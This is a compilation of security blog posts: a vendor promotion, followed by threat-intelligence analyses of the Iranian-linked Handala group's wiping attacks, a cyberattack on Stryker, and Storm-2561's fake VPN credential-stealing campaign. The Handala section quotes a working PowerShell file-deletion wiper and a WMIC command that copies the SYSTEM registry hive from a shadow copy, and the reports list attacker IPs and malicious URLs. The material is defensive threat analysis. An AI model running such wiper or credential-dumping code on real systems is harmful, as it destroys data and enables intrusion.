Alex is a Senior Product Manager at AWS Identity, with over a decade of expertise in identity and access management and more than 25 years in the tech sector. His work centers on empowering organizations of all sizes, from large enterprises to small and medium-sized businesses, to effectively adopt and implement identity and access management cloud services.

Laura Reith

Laura Reith

Laura is an Identity Solutions Architect at AWS, where she thrives on helping customers overcome security and identity challenges. In her free time, she enjoys wreck diving and traveling around the world.

  •  

Intezer’s 2025 momentum reflects rapid adoption of AI SOC in global enterprise 

Security operations is undergoing a fundamental shift.

As alert volumes continue to rise and environments grow more complex, enterprises are moving away from security models built on manual triage, fragmented automation, and are looking to decrease their reliance on outsourced MDR services. More enterprises are adopting AI SOC as the new model for running security operations, one that can triage and  investigate all alerts at machine scale while keeping internal teams focused on judgment and response.

That shift was reflected clearly in Intezer’s momentum over the past year.

In 2025, Intezer processed more than 25 million security alerts across live enterprise SOC environments, as adoption expanded across large and complex organizations looking for a more scalable way to run security operations.

A year of strong growth

Over the past year, Intezer achieved several major company milestones:

  • Multiplied revenue year over year
  • Achieved 126% net revenue retention
  • Expanded adoption across Fortune 500 organizations
  • Scaled the team across key functions to support a growing enterprise customer base

These milestones reflect more than company growth. They reflect a broader market transition toward AI SOC as enterprises look for ways to investigate every alert, reduce hidden risk, and operate beyond the limits of human investigation capacity.

Growing industry recognition

Intezer’s momentum is also being recognized by media, industry analysts and practitioners. Here is a sampling of recent coverage.

Reuters covered Intezer’s research team’s work on uncovering novel cyber attacks this past December, that were targeting Russian defense organizations. 

Well known industry analyst Richard Stiennon recently included Intezer in the 2026 Cyber 150, an independently compiled list based on IT-Harvest data, and has also included Intezer in his new book, Guardians of the Machine Age.

At the same time, practitioners are taking notice. In his write-up on Intezer’s 2026 AI SOC Report, Darwin Salazar highlighted the report’s forensic depth, auditability, and practical value in a crowded AI SOC market.

Why this momentum matters

Traditional SOC and MDR models are constrained by human investigation bandwidth. As alert volumes increase, teams are forced to prioritize only a subset of alerts, often based on severity labels before full context is available. That leaves real risk hiding in uninvestigated alerts.

Enterprises are increasingly adopting AI SOC to remove that bottleneck.

Intezer investigates 100% of alerts at forensic depth across endpoint, identity, cloud, network, phishing, and SIEM sources, escalating only the incidents (less than 2%) that require human judgment. This allows security teams to stay in control while scaling operations far beyond what manual investigation models can support.

What the numbers show

The business results from the past year point to strong validation in the market.

Doubling revenue year over year signals accelerating demand.

126% net revenue retention reflects strong customer expansion and continued platform adoption.

Growth across Fortune 500 organizations shows that large enterprises are increasingly embracing this operating model.

And continued team expansion across key functions ensures Intezer can support customers as adoption grows.

Looking ahead

The market is moving toward a new SOC operating model, one where AI executes investigations at scale and human teams focus on decisions, response, and strategy.

Intezer’s momentum over the past year reflects that shift clearly. As more enterprises look to eliminate investigation bottlenecks and reduce cyber risk, AI SOC is moving from emerging category to operational reality.

Learn more about Intezer.

The post Intezer’s 2025 momentum reflects rapid adoption of AI SOC in global enterprise  appeared first on Intezer.

  •  

“Handala Hack” – Unveiling Group’s Modus Operandi

Key Findings

  • Handala Hack is an online persona operated by Void Manticore (aka Red Sandstorm, Banished Kitten), an actor affiliated with Iranian Ministry of Intelligence and Security (MOIS)
  • Additional personas associated with this actor include Karma and Homeland Justice, which have been used in targeted operations against Israel and Albania
  • Handala continues to rely on longstanding TTPs, primarily conducting quick, hands-on activity within victim networks and employing multiple wiping methods simultaneously
  • In parallel, some newly observed TTPs include the deployment of NetBird to tunnel traffic into the network, as well as the use of an AI-assisted PowerShell script for wiping activity

Introduction

Handala Hack, also tracked by Check Point Research as Void Manticore, is an Iranian threat actor that is known for multiple destructive wiping attacks combined with “hack and leak” operations. The threat actor operates several online personas, with the most prominent among them being Homeland Justice, maintained from mid-2022 specifically for multiple attacks against government, telecom, and other sectors in Albania, as well as Handala Hack, which has been responsible for multiple intrusions in Israel and recently expanding its targeting to US-based enterprises such as medical technology giant Stryker.

The techniques, tactics, and procedures (TTPs) associated with Void Manticore intrusions remained largely consistent throughout 2024 to 2026, as the group continued to rely primarily on manual, hands-on operations, off-the-shelf wipers, and publicly available deletion and encryption tools. Accordingly, our previous research on the actor, published in early 2025, remains highly relevant to understanding their activity. Void Manticore has historically used both custom-built and publicly available tools, while also relying on underground criminal services to obtain initial access and malware.

As the group’s operations expanded in scope, with recent attacks targeting U.S. organizations, we decided to share our observations on this cluster’s activity, with a particular focus on recent TTPs and newly identified indicators. Because the group operates primarily through manual, hands-on activity, its indicators tend to be short-lived and consist largely of commercial VPN services, open-source software, and publicly available offensive security tools.

Background

“Handala Hack” is an online persona operated by Void Manticore (Red Sandstorm, Banished Kitten), a MOIS-affiliated threat actor, and appears to draw its name and imagery from the Palestinian cartoon character Handala. The persona has been used extensively since late 2023 and represents one of the group’s three primary operational fronts. The other two are Karma, which was likely completely replaced by Handala, and Homeland Justice, a persona the group continues to use in operations targeting Albania.

Logos of Void Manticore personas (from left to right): Homeland Justice, Handala and Karma.
Figure 1 – Logos of Void Manticore personas (from left to right): Homeland Justice, Handala and Karma.

Based on our observations, intrusions linked to all three personas exhibit highly similar TTPs, as well as code overlaps in the wipers they deploy. Another distinctive characteristic shared by Karma and “Homeland Justice” is the collaboration with Scarred Manticore, a separate Iranian threat actor. In the case of Handala and Karma, we have also observed incidents in which the victim-facing group (i.e., messaging within the wipers, notes left in a compromised environment) was presented as Karma, while the stolen data was ultimately leaked through Handala.

Operational interconnections of Void Manticore
Figure 2 – Operational interconnections of Void Manticore

One possible explanation is that Karma and Handala initially represented two separate teams or operational efforts within the same organization, but later converged under a single brand. This would be consistent with Karma’s complete disappearance and Handala’s emergence as the dominant public-facing persona.

According to public reporting, Void Manticore overlaps with activity linked to the MOIS Internal Security Deputy, particularly its Counter-Terrorism (CT) Division, operating under the supervision of Seyed Yahya Hosseini Panjaki. Panjaki was reportedly killed in the opening phase of Israel’s strikes on Iran in early March 2026.

Initial Access

Supply Chain Attacks

Handala has consistently targeted IT and service providers in an effort to obtain credentials, relying largely on compromised VPN accounts for initial access. Throughout the last months, we identified hundreds of logon and brute-force attempts against organizational VPN infrastructure linked to Handala-associated infrastructure. This activity typically originates from commercial VPN nodes and is frequently tied to default hostnames in the format DESKTOP-XXXXXX OR WIN-XXXXXX.

After the internet shutdown in Iran in January, we observed similar activity originating from Starlink IP ranges, and it has continued since. This has occurred in parallel with a decline in the actor’s operational security, as the group has also begun connecting directly to victims from Iranian IP addresses.

Previously, the adversary generally maintained stronger operational discipline, typically egressing through the commercial VPN segment 169.150.227.X while operating against targets in Israel. In some cases, however, the VPN connection failed, exposing communications from Iranian IP addresses or from a virtual private server. Since the start of the war, the actor has struggled to maintain this level of operational security. At times, it successfully egressed through an Israeli node, 146.185.219[.]235, assessed to be linked to a VPN service, although this differed from the segment previously used.

Activity Before Impact

In a recent intrusion attributed to Handala, initial access is believed to have been established well before the destructive phase, with network access dating back several months. This earlier activity likely provided the group with persistent access and the Domain Administrator credentials required to carry out the attack. In the hours leading up to the destructive activity, Handala appeared to validate its access and test authentication using the compromised credentials.

It is unclear whether this activity is directly associated with Handala, as it slightly differs from their typical TTPs. The actor disabled Windows Defender protections and executed multiple reconnaissance and credential-theft operations. Shortly afterwards, the attacker attempted to retrieve an additional payload from a dedicated command-and-control server (107.189.19[.]52).

The adversary then proceeded with credential extraction using multiple techniques. These included dumping the LSASS process using comsvcs.dll via rundll32.exe, as well as exporting sensitive registry hives such as HKLM. In parallel, the attacker executed ADRecon (named dra.ps1), a PowerShell-based reconnaissance framework used to enumerate Active Directory environments. At this point, it likely achieved Domain Admin credentials used in “Handala”s wiping attack.

wmic.exe /node:[REDACTED_HOSTNAME] /user:[REDACTED] /password:[REDACTED] process call create "cmd.exe /c   copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system  c:\users\public”

Lateral Movement

Handala is known to operate primarily in a manual, hands-on manner, with lateral movement conducted largely through extensive use of RDP to move between systems within a compromised environment. To reach hosts that were not directly accessible from outside the network, the group was observed deploying NetBird, a platform designed to create secure, private zero-trust mesh networks.

The deployment of NetBird was performed manually. The attackers first connected to compromised hosts via RDP and then used the local web browser to download the software directly from the official NetBird website.

By installing NetBird on multiple machines within the environment, the attackers were able to establish internal connectivity between systems and operate more efficiently. This approach enabled them to accelerate destructive activity while maintaining control of the operation from multiple footholds inside the network. During the incident, we observed at least five distinct attacker-controlled machines operating simultaneously within the environment.

Wiping Operations

During the destructive phase of the attack, we observed the group deploying four distinct wiping techniques in parallel, likely to maximize impact and inflict the greatest possible damage. To further increase the effect, the threat actor used Group Policy to distribute the different wipers across the network.

Handala Wiper

The first stage involved the deployment of a custom wiper, referred to as Handala Wiper (in some instances named handala.exe).

The wiper was distributed across the network as a scheduled task using Group Policy logon scripts, which executed a batch file named handala.bat. This script simply triggered the execution of two wiper components – the executable and the PowerShell script. Notably, the executable itself was launched remotely from the Domain Controller (DC) and was not written to disk on the affected machines. The malware overwrites file contents across the system and additionally leverages MBR-based wiping techniques to corrupt or destroy files on the system, contributing to significant data loss.

Figure 3 – Wiper execution of Handala Wiper

Handala PowerShell Wiper

As a final stage of the destructive operation, the attackers deployed an additional custom PowerShell-based wiper. Similar to the previous component, this script was also distributed through Group Policy logon scripts, allowing it to propagate across multiple systems within the network.

The PowerShell wiper performs a straightforward but effective operation: it enumerates all files within users directories and deletes them, further compounding the damage caused by the initial wiping activity. Based on the code structure and the detailed comments, it is likely that this PowerShell script was developed with AI assistance.

$usersFolder = C:\Users
 
# Ensure the folder exists
if (Test-Path $usersFolder) {
    # Get all items in C:\Users, but not the Users folder itself
    $items = Get-ChildItem -Path $usersFolder -Recurse
 
    # Remove each item (files and subfolders) inside C:\Users
    foreach ($item in $items) {
        try {
            Remove-Item -Path $item.FullName -Recurse -Force -ErrorAction Stop
        } catch {
            Write-Host Could not delete: $($item.FullName)
        }
    }
}
 
 
 
$sourceFile = \\[REDACTED]\SYSVOL\[REDACTED]\scripts\Administtration\install\handala.rar
$destinationFolder = C:\users
 
 
if (!(Test-Path $destinationFolder)) {
    New-Item -ItemType Directory -Path $destinationFolder | Out-Null
}
 
$driveLetter = (Split-Path $destinationFolder -Qualifier).TrimEnd(':','\')
 
$i = 0
 
while ((Get-PSDrive $driveLetter).Free -gt (Get-Item $sourceFile).Length) {
    Copy-Item $sourceFile $destinationFolder\Handala_$i.gif
    $i++
}

Use of Disk Encryption for Destruction

In addition to the custom wiping tools, we observed the attackers attempting to leverage VeraCrypt, a legitimate and widely used disk encryption utility. In this case, the attacker connected to the compromised host via RDP and used the system’s default web browser to download the software directly from the official website. By encrypting the system drives using a legitimate tool, the attackers added an additional layer to the destructive process. This technique not only increases the operational impact but can also complicate recovery efforts, as encrypted disks may remain inaccessible even if other wiping components fail or are only partially successful.

Manual Deletion

In some cases, Handala Hack operators manually delete virtual machines directly from the virtualization platform or files from compromised machines. This straightforward process involves logging in via RDP, selecting all files, and deleting them. We observed this behavior in several incidents, and it is also documented in Handala Hack’s own videos and leaked materials.

Summary

In this report, we detailed the background of the “Handala Hack” persona and its links to Void Manticore, an actor affiliated with Iran’s Ministry of Intelligence and Security (MOIS). Handala is not the only persona maintained by this actor, which operates several fronts in campaigns targeting the United States, Israel, and Albania.

Like many destructive threat actors, Handala relies on relatively simple TTPs, largely aiming for quick, opportunistic wins through hands-on operations against its targets. These activities include gaining initial access through compromised credentials, moving laterally via RDP and basic tunneling tools, and deploying wipers alongside manual destructive actions. Their modus operandi has not shifted significantly, and strengthening defenses against these techniques remains an effective way to counter this threat.

Recommendations for Defenders

  • Enforce multi-factor authentication, especially for remote access and privileged accounts
  • Monitor for the use of compromised credentials and suspicious authentication activity, with an emphasis on the following:
    • Logins from countries not previously observed for your organization or specific users
    • Unusual access patterns, including:
      • First-time logins outside typical hours
      • Multiple failed logins followed by success
      • New device registrations
      • Unusual data transfer volumes during VPN sessions
      • Authentication from new ASN/hosting providers
    • Restrict access from high-risk geographies and infrastructure
      • Block inbound connections from Iran at the perimeter and on remote access services (VPN/SSO), unless there is a verified business need
      • Block or tightly restrict Starlink IP ranges, given observed abuse in Iranian actor operations
      • If full blocking is not feasible, implement conditional access controls, increased authentication requirements, and enhanced monitoring for these ranges
    • Consider temporarily tightening remote access policies If operationally possible, temporarily restrict VPN connectivity to to business related countries only, with exceptions approved based on business need (e.g., whitelisted users/locations, dedicated jump hosts, or managed devices only).
  • Restrict and harden RDP access across the environment; disable it where not operationally required. Actively search for RDP access from machines with the default Windows naming conventions (i.e DESKTOP-XXXXXX OR WIN-XXXXXXXX), specially outside of working hours
  • Monitor for the use of potentially unwanted software, including remote management and monitoring (RMM) tools, VPN applications such as NetBird, and tunneling utilities such as SSH for windows

IOCs

TypeIOC
Handala Wiper5986ab04dd6b3d259935249741d3eff2
Handala Powershell Wiper3cb9dea916432ffb8784ac36d1f2d3cd
VeraCrypt Installer3236facc7a30df4ba4e57fddfba41ec5
NetBird Installer3dfb151d082df7937b01e2bb6030fe4a
NetBirde035c858c1969cffc1a4978b86e90a30
Handala VPS82.25.35[.]25
Handala VPS31.57.35[.]223
Handala VPS107.189.19[.]52
VPN exit node used by Handala146.185.219[.]235
Starlink IP range used by Handala188.92.255.X
Starlink IP range used by Handala209.198.131.X
Commercial VPN IP range used by Handala149.88.26.X
Commercial VPN IP range used by Handala169.150.227.X
Handala Machine Names
WIN-P1B7V100IIS
DESKTOP-FK1NPHF
DESKTOP-R1FMLQP
WIN-DS6S0HEU0CA
DESKTOP-T3SOB36
WIN-GPPA5GI4QQJ
VULTR-GUEST
DESKTOP-HU45M79
DESKTOP-TNFP4JF
DESKTOP-14O69KQ
DESKTOP-9KG46L1
DESKTOP-G2MH4KD
WIN-DS6S0HEU0CA
WIN-GPPA5GI4QQJ

MITRE ATT&CK Breakdown

ATT&CK TacticTechniqueObserved Activity
Initial AccessT1133 – External Remote ServicesUse of compromised VPN access for entry into victim environments.
Initial AccessT1078.002 – Valid Accounts: Domain AccountsUse of stolen/supplied credentials, including Domain Admin credentials.
Initial AccessT1199 – Trusted RelationshipTargeting of IT and service providers.
Credential AccessT1110 – Brute ForceRepeated logon and brute-force attempts against VPN infrastructure.
Credential AccessT1003.001 – OS Credential Dumping: LSASS MemoryLSASS dumping via rundll32 and comsvcs.dll.
Credential AccessT1003.002 – OS Credential Dumping: Security Account ManagerExport of sensitive registry hives for credential extraction.
DiscoveryT1087.002 – Account Discovery: Domain AccountADRecon used to enumerate the Active Directory environment.
Lateral MovementT1021.001 – Remote Services: Remote Desktop ProtocolExtensive hands-on lateral movement over RDP.
Command and ControlT1572 – Protocol TunnelingNetBird used to tunnel traffic and reach internal hosts.
ExecutionT1105 – Ingress Tool TransferNetBird and VeraCrypt downloaded directly onto victim systems.
ExecutionT1047 – Windows Management InstrumentationWMIC was used to run commands.
Execution / PersistenceT1484.001 – Group Policy ModificationWipers distributed via GPO.
Execution / PersistenceT1037.003 – Network Logon ScriptLogon scripts used to trigger destructive components.
ExecutionT1053.005 – Scheduled TaskHandala wiper launched as a scheduled task.
ExecutionT1059.001 – PowerShellAI-assisted PowerShell wiper used for destructive activity.
ImpactT1561.002 – Disk Structure WipeMBR-based wiping by the custom Handala wiper.
ImpactT1485 – Data DestructionFile deletion, manual deletion, and destructive cleanup.
ImpactT1486 – Data Encrypted for ImpactVeraCrypt used to encrypt disks as part of the attack.

The post “Handala Hack” – Unveiling Group’s Modus Operandi appeared first on Check Point Research.

  •  

Destructive Activity Targeting Stryker Highlights Emerging Supply Chain Risks

Blogs

Blog

Destructive Activity Targeting Stryker Highlights Emerging Supply Chain Risks

In this post, we examine the disruptive cyber activity targeting Stryker, potential links to the Handala persona, and what the incident signals about evolving threats to healthcare supply chains.

SHARE THIS:
Default Author Image
March 12, 2026

Over the past several years, destructive cyber operations have increasingly expanded beyond traditional critical infrastructure targets. State-linked actors have demonstrated a growing willingness to disrupt organizations that sit at key logistical and supply chain nodes, where a single intrusion can generate cascading operational impacts across entire sectors.

Healthcare supply chains are particularly exposed to this dynamic. Large medical technology providers, pharmaceutical distributors, and logistics partners often support hundreds or thousands of downstream healthcare providers, making them attractive targets for adversaries seeking to create disruption without directly attacking hospitals themselves.

On March 11th, medical technology company Stryker disclosed that a cyberattack had disrupted portions of its global network infrastructure, affecting Microsoft systems used across the organization. In public statements and regulatory filings, the company indicated that the incident impacted internal operations and that the full scope of the disruption and timeline for restoration remain under investigation. At the time of writing, the company stated it had not identified evidence of ransomware or conventional malware, suggesting the activity may involve alternative attack methods or infrastructure abuse.

Separately, reporting has noted that the Handala persona — a hacking group widely assessed to be linked to Iranian state actors — appeared on some company login pages during the incident, further raising questions about possible attribution.

Yesterday’s cyberattack against Stryker reflects several dynamics that Flashpoint analysts have been tracking across disruptive cyber operations. Flashpoint analysts are monitoring technical indicators and reporting associated with destructive activity targeting the organization and assessing potential links to threat actors previously associated with disruptive campaigns targeting Western organizations.

While the full scope of the incident remains unclear, the activity highlights several trends that threat intelligence teams are tracking closely.

Observed Activity Linked to the Handala Persona

Flashpoint analysts are monitoring indicators associated with the Handala threat persona in relation to the incident.

Handala has maintained an online presence that presents itself as a politically motivated hacktivist movement. However, based on targeting patterns, messaging, and operational behavior observed over the past year, Flashpoint assesses that the persona is likely linked to Iranian state actors rather than an independent hacktivist collective. In public Telegram posts and website manifestos monitored by Flashpoint analysts, Handala framed the Stryker attack as retaliation for recent kinetic strikes in the Middle East. By operating behind a persona styled as a grassroots, pro-Palestinian resistance movement, Iranian state-nexus actors are able to conduct destructive cyber operations against Western organizations while maintaining a degree of plausible deniability.

“From our perspective tracking Handala over the past year, the group has done an effective job presenting itself as a grassroots resistance movement. However, the tactics and targeting we observe are far more consistent with activity linked to Iranian state actors than with independent hacktivism. What makes the Stryker incident particularly concerning is the apparent use of enterprise management infrastructure — potentially weaponizing Microsoft Intune — to carry out destructive activity at scale.”

Kathryn Raines, Cyber Threat Intelligence Team Lead for Flashpoint National Security Solutions

Flashpoint analysts have previously documented how Iranian state-linked actors are increasingly integrating cyber operations into broader geopolitical and military campaigns. For additional context on this trend, see our recent analysis of how cyber activity is evolving alongside the current regional conflict.

Unlike financially motivated cybercriminal groups, Handala-associated activity has historically emphasized disruption, psychological impact, and geopolitical signaling. Operations attributed to the persona frequently align with periods of heightened geopolitical tension and often target organizations with symbolic or strategic value.

While attribution for the Stryker incident has not been definitively established, the activity is consistent with patterns previously associated with the persona.

Potential Abuse of Enterprise Management Infrastructure

Flashpoint analysts are reviewing indications that attackers may have leveraged enterprise device management infrastructure, including Microsoft Intune, to trigger wiping actions across managed devices. This method explains Stryker’s initial public statements indicating that “no evidence of malware or ransomware.” Because Intune is a trusted, native Microsoft administrative tool, an attacker weaponizing it to issue mass remote wipe commands would not trigger traditional endpoint detection and response (EDR) or antivirus alerts. To the victim’s security sensors, no malicious files are being dropped; therefore, the activity would appear to be a highly privileged IT administrator executing a standard, albeit catastrophic, compliance policy. This living off the land (LotL) approach represents a massive blind spot for traditional security architectures

If confirmed, this technique represents an evolution in destructive cyber operations.

Rather than relying exclusively on custom malware designed specifically for wiping systems, attackers may increasingly attempt to abuse legitimate administrative tools already embedded in enterprise environments. Compromise of a centralized management console could allow an adversary to execute commands across large numbers of endpoints simultaneously.

This approach can significantly expand the potential impact of a compromise while reducing the need for specialized destructive malware.

Targeting Supply Chain Nodes in Critical Sectors

As a major provider of equipment used in surgical suites and emergency rooms, Stryker occupies an important position within the healthcare ecosystem. Disruption affecting organizations in this category can create second-order operational impacts across healthcare providers that depend on their products and services.

“The attack on Stryker highlights a troubling shift we’re increasingly seeing in destructive cyber operations. Rather than targeting hospitals or frontline healthcare providers directly, adversaries may focus on critical suppliers and logistics providers where disruption can cascade across the entire healthcare ecosystem. A single intrusion at a key node in the supply chain has the potential to create widespread operational impact far beyond the initial target.”

Josh Lefkowitz, CEO, Flashpoint

Flashpoint analysts have increasingly observed state-linked cyber activity targeting logistical nodes and supply chain providers, rather than only frontline institutions such as hospitals. From an operational perspective, this strategy allows adversaries to generate broader disruption while potentially avoiding the immediate scrutiny associated with direct attacks on healthcare facilities.

Ongoing Monitoring

Flashpoint analysts continue to monitor developments related to this incident and are evaluating additional indicators as they emerge.

Several factors will shape the broader assessment of the activity in the coming days:

  • Confirmation of the mechanism used to carry out destructive actions
  • The scale of affected systems or devices
  • Additional evidence linking the activity to known threat actors or state-linked groups
  • Whether the activity represents a single incident or part of a broader campaign

Incidents involving destructive cyber activity targeting critical supply chain organizations underscore the increasing intersection between geopolitical tensions, cyber operations, and operational resilience.

Flashpoint will continue to track this activity and provide updates as more information becomes available.

Supporting Security Teams with Threat Intelligence

Understanding how adversaries operate — including the tradecraft used to weaponize enterprise infrastructure and target supply chain dependencies — is essential for defending critical organizations.

Flashpoint delivers actionable intelligence that helps security teams detect emerging threats, contextualize adversary activity, and respond faster to disruptive campaigns targeting critical sectors. Schedule a demo to learn more.

Begin your free trial today.

The post Destructive Activity Targeting Stryker Highlights Emerging Supply Chain Risks appeared first on Flashpoint.

  •  

Storm-2561 uses SEO poisoning to distribute fake VPN clients for credential theft

In mid-January 2026, Microsoft Defender Experts identified a credential theft campaign that uses fake virtual private network (VPN) clients distributed through search engine optimization (SEO) poisoning. The campaign redirects users searching for legitimate enterprise software to malicious ZIP files on attacker-controlled websites to deploy digitally signed trojans that masquerade as trusted VPN clients while harvesting VPN credentials. Microsoft Threat Intelligence attributes this activity to the cybercriminal threat actor Storm-2561.

Active since May 2025, Storm-2561 is known for distributing malware through SEO poisoning and impersonating popular software vendors. The techniques they used in this campaign highlight how threat actors continue to exploit trusted platforms and software branding to avoid user suspicion and steal sensitive information. By targeting users who are actively searching for enterprise VPN software, attackers take advantage of both user urgency and implicit trust in search engine rankings. The malicious ZIP files that contain fake installer files are hosted on GitHub repositories, which have since been taken down. Additionally, the trojans are digitally signed by a legitimate certificate that has since been revoked.

In this blog, we share our in-depth analysis of the tactics, techniques, and procedures (TTPs) and indicators of compromise in this Storm-2561 campaign, highlighting the social engineering techniques that the threat actor used to improve perceived legitimacy, avoid suspicion, and evade detection. We also share protection and mitigation recommendations, as well as Microsoft Defender detection and hunting guidance.

MICROSOFT DEFENDER EXPERTS

Around the clock, expert-led defense ↗

From search to stolen credentials: Storm-2561 attack chain

In this campaign, users searching for legitimate VPN software are redirected from search results to spoofed websites that closely mimic trusted VPN products but instead deploy malware designed to harvest credentials and VPN data. When users click to download the software, they are redirected to a malicious GitHub repository (no longer available) that hosts the fake VPN client for direct download.

The GitHub repo hosts a ZIP file containing a Microsoft Windows Installer (MSI) installer file that mimics a legitimate VPN software and side-loads malicious dynamic link library (DLL) files during installation. The fake VPN software enables credential collection and exfiltration while appearing like a benign VPN client application.

This campaign exhibits characteristics consistent with financially motivated cybercrime operations employed by Storm-2561. The malicious components are digitally signed by “Taiyuan Lihua Near Information Technology Co., Ltd.”

Diagram showing the attack chain of the Storm-2561 campaign
Figure 1. Storm-2561 campaign attack chain

Initial access and execution

The initial access vector relies on abusing SEO to push malicious websites to the top of search results for queries such as “Pulse VPN download” or “Pulse Secure client,” but Microsoft has observed spoofing of various VPN software brands and has observed the GitHub link at the following two domains: vpn-fortinet[.]com and ivanti-vpn[.]org.

Once the user lands on the malicious website and clicks to download the software, the malware is delivered through a ZIP download hosted at hxxps[:]//github[.]com/latestver/vpn/releases/download/vpn-client2/VPN-CLIENT.zip. At the time of this report, this repository is no longer active.

Screenshot of fake website posting as Fortinet
Figure 2. Screenshot from actor-controlled website vpn-fortinet[.]com masquerading as Fortinet
Code snippet for downloading the fake VPN installer
Figure 3. Code snippet from vpn-fortinet[.]com showing download of VPN-CLIENT.zip hosted on GitHub

When the user launches the malicious MSI masquerading as a legitimate Pulse Secure VPN installer embedded within the downloaded ZIP file, the MSI file installs Pulse.exe along with malicious DLL files to a directory structure that closely resembles a real Pulse Secure installation path: %CommonFiles%\Pulse Secure. This installation path blends in with legitimate VPN software to appear trustworthy and avoid raising user suspicion.

Alongside the primary application, the installer drops malicious DLLs, dwmapi.dll and inspector.dll, into the Pulse Secure directory. The dwmapi.dll file is an in-memory loader that drops and launches an embedded shellcode payload that loads and launches the inspector.dll file, a variant of the infostealer Hyrax. The Hyrax infostealer extracts URI and VPN sign-in credentials before exfiltrating them to attacker-controlled command-and-control (C2) infrastructure.

Code signing abuse

The MSI file and the malicious DLLs are signed with a valid digital certificate, which is now revoked, from Taiyuan Lihua Near Information Technology Co., Ltd. This abuse of code signing serves multiple purposes:

  • Bypasses default Windows security warnings for unsigned code
  • Might bypass application whitelisting policies that trust signed binaries
  • Reduces security tool alerts focused on unsigned malware
  • Provides false legitimacy to the installation process

Microsoft identified several other files signed with the same certificates. These files also masqueraded as VPN software. These IOCs are included in the below.

Credential theft

The fake VPN client presents a graphical user interface that closely mimics the legitimate VPN client, prompting the user to enter their credentials. Rather than establishing a VPN connection, the application captures the credentials entered and exfiltrates them to attacker-controlled C2 infrastructure (194.76.226[.]93:8080). This approach relies on visual deception and immediate user interaction, allowing attackers to harvest credentials as soon as the target attempts to sign in. The credential theft operation follows the below structured sequence:

  • UI presentation: A fake VPN sign-in dialog is displayed to the user, closely resembling the legitimate Pulse Secure client.
  • Error display: After credentials are submitted, a fake error message is shown to the user.
  • Redirection: The user is instructed to download and install the legitimate Pulse Secure VPN client.
  • Access to stored VPN data: The inspector.dll component accesses stored VPN configuration data from C:\ProgramData\Pulse Secure\ConnectionStore\connectionstore.dat.
  • Data exfiltration: Stolen credentials and VPN configuration data are transmitted to attacker-controlled infrastructure.

Persistence

To maintain access, the MSI malware establishes persistence during installation through the Windows RunOnce registry key, adding the Pulse.exe malware to run when the device reboots.

Defense evasion

One of the most sophisticated aspects of this campaign is the post-credential theft redirection strategy. After successfully capturing user credentials, the malicious application conducts the following actions:

  • Displays a convincing error message indicating installation failure
  • Provides instructions to download the legitimate Pulse VPN client from official sources
  • In certain instances, opens the user’s browser to the legitimate VPN website

If users successfully install and use legitimate VPN software afterward, and the VPN connection works as expected, there are no indications of compromise to the end user. Users are likely to attribute the initial installation failure to technical issues, not malware.

Defending against credential theft campaigns

Microsoft recommends the following mitigations to reduce the impact of this threat.

  • Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants. 
  • Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach. 
  • Enable network protection in Microsoft Defender for Endpoint. 
  • Turn on web protection in Microsoft Defender for Endpoint. 
  • Encourage users to use Microsoft Edge and other web browsers that support SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware. 
  • Enforce multifactor authentication (MFA) on all accounts, remove users excluded from MFA, and strictly require MFA from all devices, in all locations, at all times. 
  • Remind employees that enterprise or workplace credentials should not be stored in browsers or password vaults secured with personal credentials. Organizations can turn off password syncing in browser on managed devices using Group Policy
  • Turn on the following attack surface reduction rule to block or audit activity associated with this threat:

Microsoft Defender detection and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Tactic Observed activity Microsoft Defender coverage 
ExecutionPayloads deployed on the device.Microsoft Defender Antivirus
Trojan:Win32/Malgent
TrojanSpy:Win64/Hyrax  

Microsoft Defender for Endpoint (set to block mode)
– An active ‘Malagent’ malware was blocked
– An active ‘Hyrax’ credential theft malware was blocked  
– Microsoft Defender for Endpoint VPN launched from unusual location
Defense evasionThe fake VPN software side-loads malicious DLL files during installation.Microsoft Defender for Endpoint
– An executable file loaded an unexpected DLL file
PersistenceThe Pulse.exe malware runs when the device reboots.Microsoft Defender for Endpoint
– Anomaly detected in ASEP registry

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

MICROSOFT SECURITY COPILOT

Protect at the speed and scale of AI ↗

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Files signed by Taiyuan Lihua Near Information Technology Co., Ltd.

Look for files signed with Taiyuan Lihua Near Information Technology Co., Ltd. signer.

let a = DeviceFileCertificateInfo
| where Signer == "Taiyuan Lihua Near Information Technology Co., Ltd."
| distinct SHA1;
DeviceProcessEvents
| where SHA1 in(a)

Identify suspicious DLLs in Pulse Secure folder

Identify launching of malicious DLL files in folders masquerading as Pulse Secure.

DeviceImageLoadEvents
| where FolderPath contains "Pulse Secure" and FolderPath contains "Program Files" and (FolderPath contains "\\JUNS\\" or FolderPath contains "\\JAMUI\\")
| where FileName has_any("inspector.dll","dwmapi.dll")

Indicators of compromise

IndicatorTypeDescription
